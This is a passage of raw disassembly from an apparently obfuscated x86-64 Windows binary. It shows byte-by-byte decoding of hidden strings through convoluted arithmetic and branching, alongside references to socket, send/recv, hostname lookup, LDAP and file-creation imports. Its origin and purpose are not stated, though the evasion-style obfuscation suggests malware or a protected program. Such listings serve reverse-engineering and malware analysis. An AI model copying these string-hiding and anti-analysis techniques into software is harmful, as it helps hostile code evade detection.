lea rax, [r10 + 8]
cmp rcx, rax
jb 0x14020ca6f
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x14020ca1c
lea rcx, [r10 + 0x40]
cmp rdi, rcx
jb 0x14020c9f2
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14020c6a4
mov rdi, rcx
lea r10, [rcx + 0x400]
lea rax, [r10 + 0x80]
cmp rcx, rax
ja 0x14020c9d0
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14020c9ae
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14020c98c
lea rax, [r10 + 0x2a]
cmp rcx, rax
ja 0x14020c966
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x14020c940
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x14020c92c
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x14020c90a
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x14020c8e7
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x14020c8c5
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x14020c6a4
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x61]
jmp 0x14020c6a4
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14020c697
movabs rdx, 0x74734ce2b25cce0a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x46
add bl, dl
jmp 0x14020c632
movabs rcx, 0x6d250104c271df96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14020c5ca
movabs rcx, 0x65b0e4d2b9163e10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14020cf7b
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14020cfc2
movabs rcx, 0x57144d16d9406128
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14020cfc5
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x14020cfdc
movabs rdx, 0x4877b55af96a8440
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020d037
movabs rdx, 0x4129697d097f95cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020d03a
movabs rcx, 0x39db1d9f1994a758
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14020d06d
movabs rcx, 0x328cd1c129a9b8e4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x14020d0a1
movabs rcx, 0x2b3e85e339beca70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14020d0f5
movabs rcx, 0x98fac83861f3764e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
mov byte [rbp + r9 + 0x610], bl
jmp 0x14020d104
movabs rdx, 0x91ac7c5a720887da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov eax, 8
cmp r10, rax
jb 0x14020ca0f
movabs rdx, 0x74991d36cbcd811c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14020cf7b
movabs rdx, 0x8a5e307c821d9966
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 5
jae 0x14020cea0
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14020ce01
movabs rcx, 0x2b8a268b6ca03094
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14020ca3d
movabs rdx, 0x830fe49e9232aaf2
add rdx, r9
mov ecx, Ordinal_50
jmp 0x14020cbde
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14020cc4b
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_46
jmp 0x14020cf02
movabs rcx, 0xbda813e22afad1a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14020d06d
movabs rcx, 0xb659c8043b0fe330
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14020d03a
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14020d037
movabs rdx, 0xa7bd30485b3a0648
mov ecx, 4
jmp 0x14020cfdc
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14020cf4a
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x14020cfb0
movabs rcx, 0x91d24cae8b793aec
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x74
jmp 0x14020cf7b
lea rax, [r10 + 0x20]
cmp rdi, rax
jae 0x14020cc33
lea rdx, [r9 + rsi]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14020cec9
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x14020ccec
movabs rdx, 0x5ed409f1157d68d2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020ca90
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020cc62
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020d0f5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020cc91
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020d06d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020ccbc
movabs rcx, 0xaf571cce7e065ae0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14020d03a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020cbed
movabs rcx, 0xb6a568ac6df14954
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x14020d037
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020cd1b
movabs rdx, 0x662255cf05685746
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020cf7b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020cd47
movabs rdx, 0x7c0d3968d52922a2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x14020cfee
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14020cd76
movabs rdx, 0x835b8546c5141116
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020d037
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020cda5
movabs rdx, 0x8aa9d124b4feff8a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020d03a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14020cdd2
movabs rdx, 0x91f81d02a4e9edfe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14020d06b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020ca90
movabs rcx, 0x994668e094d4dc72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x14020d0a1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14020ce2c
movabs rcx, 0x32d872695c8b1f08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14020d0f5
cmp rdi, rcx
jne 0x14020ce54
movabs rdx, 0x3a26be474c760d7c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x14020d0a1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020ce71
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x14020cc7a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020ca3d
movabs rcx, 0x575fedbf0c21c74c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14020cfee
movabs rdx, 0x7be76914bbb86f90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x610]
jmp 0x14020cfe9
movabs rcx, 0x8335b4f2aba35e04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x610]
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x14020d06d
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020d0a1
movabs rcx, 0xf13d97f006b97006
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14020d037
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020cfc5
movabs rcx, 0xd4046878470db636
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
jmp 0x14020cfc2
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r10, r15
sub r9, r15
jmp 0x14020d104
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r8b
mov byte [rbp + r9 + 0x610], dl
jmp 0x14020d037
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14020d104
mov r8, r11
movabs rdx, 0x99920988c7b64296
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x610], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14020d0f5
movabs rdx, 0x8af571cce7e065ae
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x610]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14020c5b7
movabs rdx, 0x65d6b526d286f122
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020c5ae
movabs rdx, 0x5e886948e29c02ae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020c59e
lea rcx, [rbp + 0x16c2108]
jmp 0x14020d171
lea rcx, [rbp + 0xa19842]
jmp 0x14020d171
lea rcx, [rbp + 0x610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or r12, 0xffffffffffffffff
cmp rax, r12
je 0x14021227c
mov byte [rbp + 0xaf0], 0x9b
mov byte [rbp + 0xaf1], 0x59
mov byte [rbp + 0xaf2], 0x80
mov byte [rbp + 0xaf3], 0x5b
mov byte [rbp + 0xaf4], 0xa0
mov byte [rbp + 0xaf5], 0x45
mov byte [rbp + 0xaf6], 0xbb
mov byte [rbp + 0xaf7], 0x47
mov byte [rbp + 0xaf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaf9], 0x41
mov byte [rbp + 0xafa], 0xaf
mov byte [rbp + 0xafb], 0x43
mov byte [rbp + 0xafc], 0xde
mov byte [rbp + 0xafd], Ordinal_79
mov byte [rbp + 0xafe], 0xdd
mov byte [rbp + 0xaff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xb00], 0xac
mov byte [rbp + 0xb01], Ordinal_79
mov byte [rbp + 0xb02], 0x86
mov byte [rbp + 0xb03], Ordinal_79
mov byte [rbp + 0xb04], 0x99
mov byte [rbp + 0xb05], 0x75
mov byte [rbp + 0xb06], 0x98
mov byte [rbp + 0xb07], 0x77
mov byte [rbp + 0xb08], __WSAFDIsSet
mov byte [rbp + 0xb09], WSAStartup
mov byte [rbp + 0xb0a], 0xef
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb0c], 0xe8
mov byte [rbp + 0xb0d], 0x7d
mov byte [rbp + 0xb0e], 0xe2
mov byte [rbp + 0xb0f], 0x7f
mov byte [rbp + 0xb10], 0x9c
mov byte [rbp + 0xb11], 0x79
mov byte [rbp + 0xb12], 0xbb
mov byte [rbp + 0xb13], 0x7b
mov byte [rbp + 0xb14], 0xf4
mov byte [rbp + 0xb15], 0x65
mov byte [rbp + 0xb16], 0xf6
mov byte [rbp + 0xb17], 0x67
mov byte [rbp + 0xb18], 0xac
mov byte [rbp + 0xb19], 0x61
mov byte [rbp + 0xb1a], 0x83
mov byte [rbp + 0xb1b], 0x63
mov byte [rbp + 0xb1c], 0xf0
mov byte [rbp + 0xb1d], WSAStartup
mov byte [rbp + 0xb1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb20], Ordinal_143
mov byte [rbp + 0xb21], WSAGetLastError
mov byte [rbp + 0xb22], 0xa7
mov byte [rbp + 0xb23], WSAGetLastError
mov byte [rbp + 0xb24], 0x88
mov byte [rbp + 0xb25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb26], 0xfe
mov byte [rbp + 0xb27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb28], 0xfd
mov byte [rbp + 0xb29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb2a], 0x80
mov byte [rbp + 0xb2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb2c], 0xfd
mov byte [rbp + 0xb2d], Ordinal_30
mov byte [rbp + 0xb2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb2f], Ordinal_33
mov byte [rbp + 0xb30], 0xfa
mov byte [rbp + 0xb31], Ordinal_30
mov byte [rbp + 0xb32], 0xf3
mov byte [rbp + 0xb33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb34], __WSAFDIsSet
mov byte [rbp + 0xb35], 5
mov byte [rbp + 0xb36], 6
mov byte [rbp + 0xb37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb38], xmm0
mov qword [rbp + 0xb48], rax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x14020dddd
movzx r8d, byte [rbp + r10 + 0xaf0]
mov r11d, r8d
cmp rbx, r10
ja 0x14020ddd4
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14020d410
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov eax, r8d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x2c
jmp 0x14020d43d
je 0x14020dd4f
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14020dcfc
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14020dc9a
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14020dc73
cmp r9, r10
ja 0x14020ddcb
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14020d475
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x14020d4a9
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14020dc29
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14020dc05
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14020dbe2
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14020dbbe
mov r11d, Ordinal_30
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14020d7df
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14020d7bc
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14020d7a8
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14020d784
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14020d760
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14020d73d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14020d72c
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14020dda7
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14020dd84
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14020d5d4
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14020d718
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14020d6e9
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14020d4bc
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14020d6d5
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14020d6b1
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14020d68e
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14020d667
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14020d640
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14020d61c
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14020d5f9
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14020d4bc
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x14020d4af
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x14020dc47
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14020dc6e
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020dc92
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020dcea
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14020db82
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14020dd1a
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14020d8cf
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xaf0], dil
jmp 0x14020dd7c
movabs rdx, 0x69851ae5ab44c1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14020d7fb
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x14020d6c0
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14020db82
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14020dcea
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14020dc92
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14020dc14
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14020dc47
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14020d8b9
movabs rdx, 0xe2ff43c1b0c1bb8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14020db5d
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14020d99c
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x14020db35
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14020da44
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x14020d70b
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14020dc4a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14020d8e7
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14020dd6d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14020d913
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14020db82
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14020d940
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14020dce7
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14020d96c
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x14020dcb9
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14020d80e
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14020dc4a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14020d9c8
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x14020dc47
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14020d9e5
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14020dc14
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14020da12
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14020dcea
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14020d84b
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x14020db85
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14020da61
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14020d8cf
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14020da8d
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x14020dd1a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14020daba
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14020dce7
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14020dad7
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14020dca9
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14020db04
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14020dc92
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14020d887
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14020dc6e
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xaf0]
sub dil, al
sub dil, 0x20
jmp 0x14020dcb6
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xaf0]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xaf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x14020dd1d
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x14020dcea
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
